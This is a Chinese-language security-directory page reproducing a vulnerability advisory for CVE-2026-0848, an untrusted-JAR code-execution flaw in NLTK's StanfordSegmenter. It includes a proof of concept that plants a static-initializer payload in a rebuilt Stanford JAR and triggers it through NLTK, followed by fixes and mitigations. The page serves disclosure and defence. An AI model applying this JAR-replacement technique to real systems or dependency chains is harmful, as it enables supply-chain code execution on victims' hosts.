Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/hyperps/cve-2026-0848
漏洞分析代码分析漏洞利用供应链安全论文与研究学习与教育
GitHubhyperps/cve-2026-0848

CVE-2026-0848

nltk.tokenize.StanfordSegmenter 会在未经验证或沙箱隔离的情况下动态加载外部 Java .jar 文件。如果攻击者能够提供或替换该 JAR(例如,投毒的模型下载、MITM 软件包替换或依赖投毒),任意 Java 字节码将在导入时执行。

查看仓库
35个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-0848 — NLTK StanfordSegmenter:通过不可信 JAR 加载导致的任意代码执行


概述

字段详情
CVE IDCVE-2026-0848
软件包nltk(自然语言工具包)
注册源PyPI
受影响版本<= 3.9.2
漏洞类型CWE-20:输入验证不当
CVSS 评分10.0(严重)
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
影响范围已改变
机密性影响高
完整性影响高
可用性影响高
报告日期2025年12月6日
CVE 发布时间2026年3月
支持方Palo Alto Networks / Prisma AIRS

描述

nltk.tokenize.StanfordSegmenter 通过 subprocess 动态加载外部 Java .jar 文件,且不执行任何完整性验证、签名校验或沙箱隔离。该类接受完全由攻击者控制的参数,包括 path_to_jar、path_to_model、path_to_dict 和 java_class,并将它们直接传递给 java -cp 调用。

如果攻击者能够提供或替换 JAR 文件——通过投毒的模型下载、中间人软件包替换、依赖投毒或遭到破坏的发布镜像——任意 Java 字节码会在类加载时通过 JVM 的静态初始化器机制执行。这构成了一个供应链远程代码执行漏洞,并完全脱离 Python 运行时。


受影响组件


CVSS 向量

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

影响

成功利用该漏洞可使攻击者完全控制运行 NLTK 分词进程的系统:

  • 任意 Java 代码执行 — 恶意 JAR 中嵌入的任何字节码都以 Python/Java 进程的权限运行
  • Python 运行时逃逸 — 执行过程转移到 JVM,完全绕过 Python 级别的沙箱
  • 操作系统级命令执行 — 攻击者可调用 Runtime.getRuntime().exec() 或 ProcessBuilder 运行任意 shell 命令
  • 数据窃取与篡改 — 可访问进程可读取的所有文件、环境变量、API 密钥和机密信息
  • 全面环境沦陷 — 在 CI/CD、生产 NLP 流水线或服务器环境中,单个恶意 JAR 即可导致主机被完全接管

高风险部署场景

场景影响
ML 研究人员从互联网加载预训练分词器远程攻击者获得代码执行能力
组织下载了被篡改的中文分词模型 ZIP恶意软件在生产 NLP 流水线中执行
CI/CD 服务器通过非 HTTPS 镜像使用 / 安装模型

该漏洞影响所有使用 StanfordSegmenter 的 NLP 工作流,包括聊天机器人、LLM 预处理流水线、数据集分词、文档分类以及生产推理服务。


概念验证

此信息仅用于教育和防御目的。请勿针对您不拥有或未经明确授权的系统进行测试。

步骤 1 — 用恶意 Java 类替换核心分类器

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

步骤 2 — 构建恶意 JAR

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

步骤 3 — 通过 NLTK 触发

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

输出:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

确认 RCE:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

根本原因

该漏洞存在于两个文件中:

stanford_segmenter.py — StanfordSegmenter 类构造函数接受 path_to_jar、path_to_model、path_to_dict 和 java_class 作为普通字符串参数,并直接将其转发给 Java 执行层,而未执行以下任何操作:

  • 路径白名单或可信目录强制
  • 对 JAR 进行 SHA-256 或加密签名验证
  • 针对一组已知安全类名对 java_class 参数进行验证

internals.py — java() 辅助函数使用用户提供的类路径构造并启动 subprocess.Popen() 调用。JVM 会立即加载所提供 JAR 中的所有类,并在应用程序逻辑运行之前执行所有静态初始化器代码块。这里没有沙箱、没有完整性门禁,也没有任何机制可阻止注入字节码的执行。


修复

该漏洞已在 NLTK 上游仓库中完全解决。

资源链接
中央安全修复(所有 CVE)https://github.com/nltk/nltk/pull/3522
研究者的初始修复 PRhttps://github.com/nltk/nltk/pull/3477 (已合并)

请尽快升级到 PyPI 上可用的已修补 NLTK 版本。


缓解措施

通过 pip 升级:

root@kitploit:~
pip install --upgrade nltk

验证已安装版本:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

时间线


参考资料


免责声明

本仓库记录 CVE-2026-0848 仅供教育、研究和防御性安全目的使用。提供概念验证代码和技术细节是为了帮助开发人员、安全工程师和系统管理员理解、评估和修复此漏洞。

任何未经明确授权使用此信息访问或破坏系统的行为都是非法且不道德的。作者对本文所含信息的滥用不承担任何责任。

贡献者:ketanHub

下载工具
文件行号描述
nltk/tokenize/stanford_segmenter.pyL53–L118接受攻击者控制的 path_to_jar、path_to_model、path_to_dict 和 java_class,且无任何验证
nltk/internals.pyL220–L300直接使用用户控制的 JAR 路径和类路径启动 Java 执行,没有沙箱或校验和验证
nltk/internals.pyL109–L152subprocess.Popen() 使用未经验证的类路径输入执行 Java,允许 JVM 加载任意字节码并运行静态初始化器
指标值
攻击向量网络
攻击复杂度低
所需权限无
用户交互无
影响范围已改变
机密性高
完整性高
可用性高
wget
unzip
整个环境沦陷
依赖接管或投毒的发布镜像完全的供应链 RCE
操作详情
升级 NLTK升级到包含 PR #3522 修复的、高于 3.9.2 的版本
不要使用用户可控的 JAR 路径绝不允许用户输入影响 path_to_jar、path_to_model 或 java_class 参数
验证 JAR 完整性使用前始终根据官方发布的哈希验证下载 JAR 文件的 SHA-256 校验和
仅使用 HTTPS 来源仅从官方 HTTPS 来源下载模型文件和 JAR;拒绝任何 HTTP 或未经验证的镜像
最小权限在具有最小文件系统和网络权限的受限操作系统用户下运行基于 NLTK 的服务
容器化将 NLP 服务隔离在 Docker 容器或类似沙箱中,以限制基于 JAR 的利用的爆炸半径
依赖监控使用软件成分分析工具检测 CI/CD 流水线中被篡改或被替换的 JAR 依赖
日期事件
2025年12月6日研究者 hyperps1(Sarvesh Patil)向 huntr.dev 报告该漏洞
2025年12月通过 huntr.dev 通知 NLTK 维护团队
2026年1月NLTK 维护者验证了漏洞;获得披露赏金
2026年1月分配 CVE-2026-0848
2026年1月研究者的修复 PR #3477 已提交并合并
2026年2月向 NLTK 维护者发送 48 小时预发布警告
2026年3月CVE 在 NVD 和 huntr.dev 上发布
2026年3月通过 PR #3522 合并了针对所有 CVE 的中央安全修复
资源链接
NVD 条目https://nvd.nist.gov/vuln/detail/CVE-2026-0848
官方 CVE 记录https://cve.org/CVERecord?id=CVE-2026-0848
huntr.dev 报告https://huntr.dev
中央修复 PRhttps://github.com/nltk/nltk/pull/3522
研究者修复 PRhttps://github.com/nltk/nltk/pull/3477
PyPI 上的 NLTKhttps://pypi.org/project/nltk/
Stanford 分词器https://nlp.stanford.edu/software/segmenter.html
OWASP — 任意代码执行https://owasp.org/www-community/attacks/Code_Injection
OWASP — 不可信搜索路径https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20:输入验证不当https://cwe.mitre.org/data/definitions/20.html
CWE-502:不可信数据反序列化https://cwe.mitre.org/data/definitions/502.html